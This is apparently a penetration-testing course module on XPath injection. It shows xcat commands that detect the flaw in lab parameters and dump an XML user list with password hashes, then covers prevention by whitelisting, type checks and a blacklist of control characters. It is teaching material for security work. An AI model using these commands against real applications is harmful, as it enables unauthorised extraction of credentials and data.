XPath Injection Prevention & Tools

After discussing different ways to exploit XPath injection vulnerabilities, let us discuss what tools we can use to help us during exploitation. Furthermore, we will discuss ways we can prevent XPath injection vulnerabilities.

Tools

We can use the tool xcat to help us exploit XPath injection attacks. It can be installed using pip:

[!bash!]$ pip3 install xcat

Afterward, we can view the different xcat commands by displaying the general help:

[!bash!]$ xcat --help

Usage: xcat [OPTIONS] COMMAND [ARGS]...

Options:
  --version  Show the version and exit.
  --help     Show this message and exit.

Commands:
  detect
  injections
  ip
  run
  shell

The core commands are:

• detect: detect XPath injection and print the type of injection found
• injections: print all types of injection supported by xcat
• ip: print the current external IP address
• run: retrieve the XML document by exploiting the XPath injection
• shell: xcat shell to run system commands

Each command has its own help, which we can display by running xcat <command> --help.

Data Exfiltration

We must supply xcat with the vulnerable parameter and a list of GET parameters it should send. Additionally, xcat requires a true-string, indicating whether the query returned data. Let us look at the lab from the Data Exfiltration section. The lab is vulnerable to XPath injection in the q parameter. However, we also need to send the f parameter. Furthermore, we know that the query returned data whenever the response does NOT contain the phrase No Result. We can thus specify a negated true-string by prepending an exclamation mark. The final command looks like this:

[!bash!]$ xcat detect http://172.17.0.2/index.php q q=BAR f=fullstreetname --true-string='!No Result'

function call - last string parameter - single quote
Example: /lib/something[function(?)]

Detected features:
xpath-2: False
xpath-3: False
xpath-3.1: False
normalize-space: True
substring-search: True
codepoint-search: False
environment-variables: False
document-uri: False
base-uri: False
current-datetime: False
unparsed-text: False
doc-function: False
linux: False
expath-file: False
saxon: False
oob-http: False
oob-entity-injection: False

The run command can exfiltrate the entire XML document. However, this will take so much time since the XML document is massive. Additionally, we can confirm that the f parameter is also injectable by changing the vulnerable parameter:

[!bash!]$ xcat detect http://172.17.0.2/index.php f q=BAR f=fullstreetname --true-string='!No Result'

function call - last string parameter - single quote
Example: /lib/something[function(?)]

Detected features:
xpath-2: False
xpath-3: False
xpath-3.1: False
normalize-space: True
substring-search: True
codepoint-search: False
environment-variables: False
document-uri: False
base-uri: False
current-datetime: False
unparsed-text: False
doc-function: False
linux: False
expath-file: False
saxon: False
oob-http: False
oob-entity-injection: False

Blind XPath Injection

Now let us exploit the blind XPath exploitation lab from the previous section using xcat. Our injection point is the username POST parameter. We must set the -m POST and --encode FORM flags to tell xcat to send the payload in a POST parameter. Furthermore, we need to specify the vulnerable parameter and a sample value for that parameter that leads to a positive query outcome. In our example, we know that admin is a valid username, so we can use the value admin. We can set the true-string to successfully since that is contained in the response if our query returns data. The final command looks like this:

[!bash!]$ xcat detect http://172.17.0.2/index.php username username=admin -m POST --true-string=successfully --encode FORM

string - single quote                                    
Example: /lib/book[name='?']

Detected features:        
xpath-2: False              
xpath-3: False             
xpath-3.1: False          
normalize-space: True                                                                          
substring-search: True     
codepoint-search: False
environment-variables: False                                                                   
document-uri: False    
base-uri: False
current-datetime: False
unparsed-text: False      
doc-function: False          
linux: False               
expath-file: False        
saxon: False                                                                                   
oob-http: False            
oob-entity-injection: False

Additionally, we can use xcat to exfiltrate the entire XML document:

[!bash!]$ xcat run http://172.17.0.2/index.php username username=admin -m POST --true-string=successfully --encode FORM

<users>                   
        <user>                   
                <username> 
                        kgrenvile
                </username>                                                                    
                <password> 
                        cf9f2931ea9c3deb33e4405b420c4c99
                </password>                                                                    
                <desc> 
                        Internal Test Account 1 
                </desc>
        </user>                                                                                
        <SNIP>
</users>

Prevention

While prepared statements/stored procedures can prevent injections in SQL queries, not all programming languages and libraries provide an equivalent for XPath queries. Therefore, proper (manual) sanitization is the only universal method of preventing XPath injection vulnerabilities.

Generally, we must treat all user input as untrusted and perform sanitization before inserting it into an XPath query. The simplest and most secure way is implementing a whitelist that only allows alphanumeric characters in the user input inserted into the XPath query. The web application can then reject any input that contains characters that are not whitelisted.

Additionally, verifying the expected data type and format when performing sanitization is crucial. If the web application expects an integer, it must verify that the user input consists of only digits. When applicable, we can additionally perform checks for semantical correctness. For instance, if a variable can only assume a fixed set of values, we can check that the user input conforms to these semantical rules in addition to the syntactical ones. An example would be the GET parameter f in the previous sections, which can only assume the values fullstreetname and streetname. The web application can thus check if the user input matches one of these values and is thus semantically correct.

Alternatively to the whitelist approach, a blacklist approach blocking the following XPath control characters is also sufficient, though a whitelist is always preferable:

• Single quote: '
• Double quote: "
• Slash: /
• At: @
• Equals: =
• Wildcard: *
• Brackets: [, ], and parentheses (, )